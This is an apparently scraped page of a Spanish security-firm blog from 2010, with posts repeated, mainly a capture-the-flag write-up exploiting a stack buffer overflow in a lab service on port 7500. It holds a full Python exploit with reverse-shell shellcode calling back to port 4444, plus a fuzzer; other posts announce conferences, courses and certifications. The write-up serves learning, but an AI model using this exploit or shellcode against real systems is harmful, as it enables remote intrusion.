Mañana el equipo de Open-Sec estará viajando a Buenos Aires para la 6ta edición de la conferencia Ekoparty.
Estaremos posteando noticias y fotos por este medio.
Que la sigan rooteando !!!
martes, 14 de septiembre de 2010
domingo, 29 de agosto de 2010
Resolución 1er Reto How Strong Is Your Fu 2
Hola.
El 19 de Junio pasado tuvo lugar el segundo "How strong if your Fu", torneo de hacking organizado por los chicos de Offensive Security. Tuve la oportunidad de participar (haciendo team con Hackspy) y fue una experiencia bastante interesante. A diferencia de otros torneos, los de Offsec siempre son un tanto reales. (TRY HARDER !!)
En este post describiré la solución del primer reto (Vuln). Primero delineo brevemente el escenario utilizando el lenguaje telegráfico:
- VPN, 5 equipos
- Puertos descubiertos en el primer equipo : 22, 80, 7500
- Servidor Web lista un directorio con 2 archivos: vuln.c y vuln
- Viendo el source, vuln abre el puerto 7500.
- Funcion handle_reply() es vulnerable a buffer overflow.
- A explotar !!!
Todos los ficheros utilizados en este post pueden ser descargados aqui.
Dado que tenemos el fuente se hace fácil reconocer la cantidad de caracteres que permitirán el desbordamiento, sin embargo y para no perder la costumbre, escribimos un pequenho fuzzer.
Listo, al fuzzear vemos que alrededor de 280 bytes crean el desborde con su respectivo Segmentation Fault. Utilizando gdb para el debug, confirmamos que el registro EIP ha sido sobreescrito con el valor hexadecimal de "A" (41).
Al analizar ESP vemos que también estamos en control de este registro.
Ahora es necesario descubrir exactamente cuáles son los 4 bytes que sobreescriben el EIP para poder tomar control del flujo del proceso. En este caso utilizaremos a metasploit, en específico, las herramientas pattern_create y pattern_offset. Pattern_create crea una cadena con caracteres no repetidos y de un tamanho a eleccion, en nuestro caso, 280. Utilizamos esa cadena para enviarla al soft vulnerable y una vez sobreescrito el EIP utilizamos la herramienta pattern_offset para descubrir exactamente cuáles son los bytes que escribieron sobre EIP. Veámoslo en imágenes:
EIP fue sobreescrito con 0x6a413969 y utilizamos estos caracteres como entrada de pattern_offset:
Oka, ahora sabemos que a partir del byte 268 estamos sobreescribiendo el EIP. Otro problema: con que dirección sobreescribimos el registro EIP ? Sabemos que podemos controlar a ESP así que podemos poner la shellcode ahi y de alguna forma sobreescribir EIP para que "salte" a ESP (JMP ESP). Afortunadamente este ejecutable nos hace la vida más fácil dado que ya tiene una función jmp() que hace exactamente eso!
Lo que tenemos que hacer ahora es encontrar la dirección de memoria con el buen gdb.
Tenemos la dirección de la intrucción JMP ESP (0x08048703). Ya podemos empezar a crear el exploit y el buffer que enviaremos se verá algo asi:
Por último, debemos elegir el payload. Metasploit nos ayuda una vez más con la herramienta msfpayload que permite generar shellcodes con distinto payload: conseguir shell, shell reversa, meterpreter reverso, etc, etc, etc. En este caso yo elegiré una shell reversa hacia el puerto 4444 :
Ahora todo listo, escribimos el exploit correspondiente y antes de ejecutarlo abrimos el puerto 4444 con netcat.
Voila!
Happy Hacking
Mvelazco
El 19 de Junio pasado tuvo lugar el segundo "How strong if your Fu", torneo de hacking organizado por los chicos de Offensive Security. Tuve la oportunidad de participar (haciendo team con Hackspy) y fue una experiencia bastante interesante. A diferencia de otros torneos, los de Offsec siempre son un tanto reales. (TRY HARDER !!)
En este post describiré la solución del primer reto (Vuln). Primero delineo brevemente el escenario utilizando el lenguaje telegráfico:
- VPN, 5 equipos
- Puertos descubiertos en el primer equipo : 22, 80, 7500
- Servidor Web lista un directorio con 2 archivos: vuln.c y vuln
- Viendo el source, vuln abre el puerto 7500.
- Funcion handle_reply() es vulnerable a buffer overflow.
- A explotar !!!
Todos los ficheros utilizados en este post pueden ser descargados aqui.
Dado que tenemos el fuente se hace fácil reconocer la cantidad de caracteres que permitirán el desbordamiento, sin embargo y para no perder la costumbre, escribimos un pequenho fuzzer.
Listo, al fuzzear vemos que alrededor de 280 bytes crean el desborde con su respectivo Segmentation Fault. Utilizando gdb para el debug, confirmamos que el registro EIP ha sido sobreescrito con el valor hexadecimal de "A" (41).
Al analizar ESP vemos que también estamos en control de este registro.
Ahora es necesario descubrir exactamente cuáles son los 4 bytes que sobreescriben el EIP para poder tomar control del flujo del proceso. En este caso utilizaremos a metasploit, en específico, las herramientas pattern_create y pattern_offset. Pattern_create crea una cadena con caracteres no repetidos y de un tamanho a eleccion, en nuestro caso, 280. Utilizamos esa cadena para enviarla al soft vulnerable y una vez sobreescrito el EIP utilizamos la herramienta pattern_offset para descubrir exactamente cuáles son los bytes que escribieron sobre EIP. Veámoslo en imágenes:
EIP fue sobreescrito con 0x6a413969 y utilizamos estos caracteres como entrada de pattern_offset:
Oka, ahora sabemos que a partir del byte 268 estamos sobreescribiendo el EIP. Otro problema: con que dirección sobreescribimos el registro EIP ? Sabemos que podemos controlar a ESP así que podemos poner la shellcode ahi y de alguna forma sobreescribir EIP para que "salte" a ESP (JMP ESP). Afortunadamente este ejecutable nos hace la vida más fácil dado que ya tiene una función jmp() que hace exactamente eso!
int jmp(void){
__asm__("jmp %esp");
return 0;
Lo que tenemos que hacer ahora es encontrar la dirección de memoria con el buen gdb.
Tenemos la dirección de la intrucción JMP ESP (0x08048703). Ya podemos empezar a crear el exploit y el buffer que enviaremos se verá algo asi:
buffer= "A"*268 +
"\x03\x87\x04\x08" #JMP ESP
+ shellcode #Payload a elegir Por último, debemos elegir el payload. Metasploit nos ayuda una vez más con la herramienta msfpayload que permite generar shellcodes con distinto payload: conseguir shell, shell reversa, meterpreter reverso, etc, etc, etc. En este caso yo elegiré una shell reversa hacia el puerto 4444 :
Ahora todo listo, escribimos el exploit correspondiente y antes de ejecutarlo abrimos el puerto 4444 con netcat.
Voila!
Happy Hacking
Mvelazco
################################
#coded by mvelazco
#http://ehopen-sec.blogspot.com/
#mvelazco at open-sec.com
################################
import socket
import struct
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "\nSending buffer..."
s.connect(('127.0.0.1',7500))
# Reverse shell port 4444 by metasploit
shellcode=("\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80"
"\x5b\x5e\x68\xc0\xa8\x28\x69\x66\x68\x11\x5c\x66\x53\x6a\x10"
"\x51\x50\x89\xe1\x43\x6a\x66\x58\xcd\x80\x59\x87\xd9\xb0\x3f"
"\xcd\x80\x49\x79\xf9\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
"\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
)
buffer="A"*268
ret= "\x03\x87\x04\x08"
buffer+=ret + "\x90"*0 + shellcode
s.send(str(buffer) + '\r\n')
s.close()
print "EXPLOITATION DONE"
print "HAVE A NICE DAY :P"
#coded by mvelazco
#http://ehopen-sec.blogspot.com/
#mvelazco at open-sec.com
import socket
import time
buffer='\x41'*40
while len(buffer)<10000:
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect(('127.0.0.1',7500))
print "fuzzing with "+ str(len(buffer)) + " bytes"
s.send(buffer + '\r\n')
buffer+='\x41'*50
s.close()
except:
print "Crashed!!"
break
lunes, 23 de agosto de 2010
Seguridad en aplicaciones web bajo OWASP @ ISACA
Gracias a Wikipedia:
Ya desde principios de este año, el capítulo peruano de OWASP se estuvo organizando y tuvimos las primeras reuniones. Este martes 24 de Agosto se tendrá la primera presentación de OWASP Perú en la reunión mensual de ISACA. Les dejo los detalles, nos vemos ahi:
Saludos,
MVelazco.
Objetivos:
Lugar: Hotel José Antonio, Miraflores
Informes e Inscripciones:
Tel. 225-9342 - eMail: informacion@isaca.org.pe Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla - Contacto administrativo: Srta. Mabel Gil
OWASP (Open Web Application Security Project) es un proyecto de código abierto dedicado a determinar y combatir las causas que hacen que el software sea inseguro. La comunidad OWASP está formada por empresas, organizaciones educativas y particulares de todo mundo. Juntos constituyen una comunidad de seguridad informática que trabaja para crear artículos, metodologías, documentación, herramientas y tecnologías que se liberan y pueden ser usadas gratuitamente por cualquiera.
Ya desde principios de este año, el capítulo peruano de OWASP se estuvo organizando y tuvimos las primeras reuniones. Este martes 24 de Agosto se tendrá la primera presentación de OWASP Perú en la reunión mensual de ISACA. Les dejo los detalles, nos vemos ahi:
Saludos,
MVelazco.
Objetivos:
- Conocer el marco normativo para el desarrollo e implementación de aplicaciones web seguras.
- Mostrar algunas técnicas para el diseño, desarrollo e implementación de aplicaciones web seguras.
- John Vargas Pérez, Consultor de Seguridad Informática, Visiontech del Perú.
- Rolando Antón Huerta, Ingeniero de Soporte, ETEK Internacional.
- Mauricio Velazco Corrales, Consultor de Seguridad Informática, OpenSec.
- Ricardo Supo Picón, Chief Technology Officer, LimaSoft Seguridad Informática
Lugar: Hotel José Antonio, Miraflores
Informes e Inscripciones:
Tel. 225-9342 - eMail: informacion@isaca.org.pe Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla - Contacto administrativo: Srta. Mabel Gil
miércoles, 21 de julio de 2010
OSEH en Tarapoto
Hace unos meses recibí una invitación de la universidad César Vallejo para dictar el curso Open-Sec Ethical Hacker (http://www.open-sec.com/oseh/oseh.html) en la calurosa ciudad Tarapoto.
Terminado el curso se organizó un seminario en donde se conversó de algunos temas de hacking (para variar) y además compartí la exposición con Felipe Gonzáles, un estudiante de la universidad que dió una interesante charla sobre el análisis de malware.
Siempre es interesante encontrar personas inquietadas por estos temas que muchas veces nos quitan el sueño.
Les dejo algunas fotos,
MVelazco.
Terminado el curso se organizó un seminario en donde se conversó de algunos temas de hacking (para variar) y además compartí la exposición con Felipe Gonzáles, un estudiante de la universidad que dió una interesante charla sobre el análisis de malware.
Siempre es interesante encontrar personas inquietadas por estos temas que muchas veces nos quitan el sueño.
Les dejo algunas fotos,
MVelazco.
miércoles, 23 de junio de 2010
Más Certificaciones! Offensive Security Certified Professional = Cesar Cuadra Pacheco
Cada logro personal de un consultor en Open-Sec es recibido con mucho entusiasmo por todos nosotros y al logro reciente de Mauricio Velazco con al certificación de C|EH, hoy (ayer) debemos sumar el logro de Cesar Cuadra al haber obtenido la certificación de OSCP : Offensive Security Certified Professional.
Para los que no conocen esta certificación, es sumamente reconocida en el mundo de los hackers y ha sido creada y es manejada por los mismos creadores de BackTrack.
El examen no es convencional, es un Capture the Flag completo. A Cesar le tocó entrar a un entorno real y vulnerar la seguridad de servicios para obtener trofeos a partir de ello y asi poder demostrar su capacidad en labores de ethical hacking en un lapso de 24 horas. Alcanzó el puntaje perfecto de 100 puntos!!!
Definitivamente, Cesar es uno de los mejores hackers éticos que existen en nuestro país.
FELICITACIONES CESAR!!!
Para los que no conocen esta certificación, es sumamente reconocida en el mundo de los hackers y ha sido creada y es manejada por los mismos creadores de BackTrack.
El examen no es convencional, es un Capture the Flag completo. A Cesar le tocó entrar a un entorno real y vulnerar la seguridad de servicios para obtener trofeos a partir de ello y asi poder demostrar su capacidad en labores de ethical hacking en un lapso de 24 horas. Alcanzó el puntaje perfecto de 100 puntos!!!
Definitivamente, Cesar es uno de los mejores hackers éticos que existen en nuestro país.
FELICITACIONES CESAR!!!
viernes, 11 de junio de 2010
Open-Sec Ecuador nombrado ATC de EC Council
Esto constituye un gran logro de Ramiro Pulgar, Gerente General de Open Sec Ecuador toda vez que el tema de entrenamiento y certificacion en Ecuador es tomado con mayor interés y tanto las empresas como las personas invierten en formarse y mantenerse vigentes demostrando sus capacidades con certificaciones internacionales.
Mediante este acuerdo, Open Sec es un ATC exclusivo en Ecuador y dentro de su territorio de venta y entrenamiento se encuentra también Perú.
Pronto más novedades concretas como próximas fechas y MEJORES precios.
http://www.concepti.com/centros-autorizados/23/open-sec-ecuador
Mediante este acuerdo, Open Sec es un ATC exclusivo en Ecuador y dentro de su territorio de venta y entrenamiento se encuentra también Perú.
Pronto más novedades concretas como próximas fechas y MEJORES precios.
http://www.concepti.com/centros-autorizados/23/open-sec-ecuador
lunes, 10 de mayo de 2010
Peruvians at Offsec !!
Hace ya unas semanas la gente de Offensive Security publicó información sobre un torneo de hacking bastante interesante. El torneo fue llevado a cabo desde el sábado 8 de mayo hasta hoy. Básicamente consistió en 2 fases. La primera, como la llamaron ellos, el n00b filter, que consistía ownear un equipo y luego buscar un fichero en el sistema de archivos y utilizar esa llave.
Tan sólo los 100 primeros en pasar la fase 1 podían recibir el certificado para conectarse a la VPN y jugar la fase 2 en donde encuentras varios otros equipos y la idea es to get root.
Con el estudio, el dia de la madre y la chamba no hubo mucho tiempo para jugar, sin embargo llegamos (CCuadra,WCuestas y yo) a pasar la fase 1, obteniendo así 25 puntos.
Además, me es grato saber que otro peruano, Andrés Morales logró ownear algunos equipos de la vpn logrando obtener 75 puntos.
Peruvians in the scoreboard!!
La fase 1 consistía en explotar una vulnerabilidad de un WAF conocido que permite la ejecución de comandos remota. Aquí dejo algunos screenshots del exploit que escribi para superar el reto. He omitido alguna info dado que aun no hay un pronunciamiento oficial por parte de Offsec sobre la solución del reto.
Saludos
MVelazco
Tan sólo los 100 primeros en pasar la fase 1 podían recibir el certificado para conectarse a la VPN y jugar la fase 2 en donde encuentras varios otros equipos y la idea es to get root.
Con el estudio, el dia de la madre y la chamba no hubo mucho tiempo para jugar, sin embargo llegamos (CCuadra,WCuestas y yo) a pasar la fase 1, obteniendo así 25 puntos.
Además, me es grato saber que otro peruano, Andrés Morales logró ownear algunos equipos de la vpn logrando obtener 75 puntos.
Peruvians in the scoreboard!!
La fase 1 consistía en explotar una vulnerabilidad de un WAF conocido que permite la ejecución de comandos remota. Aquí dejo algunos screenshots del exploit que escribi para superar el reto. He omitido alguna info dado que aun no hay un pronunciamiento oficial por parte de Offsec sobre la solución del reto.
Saludos
MVelazco
Suscribirse a:
Entradas (Atom)











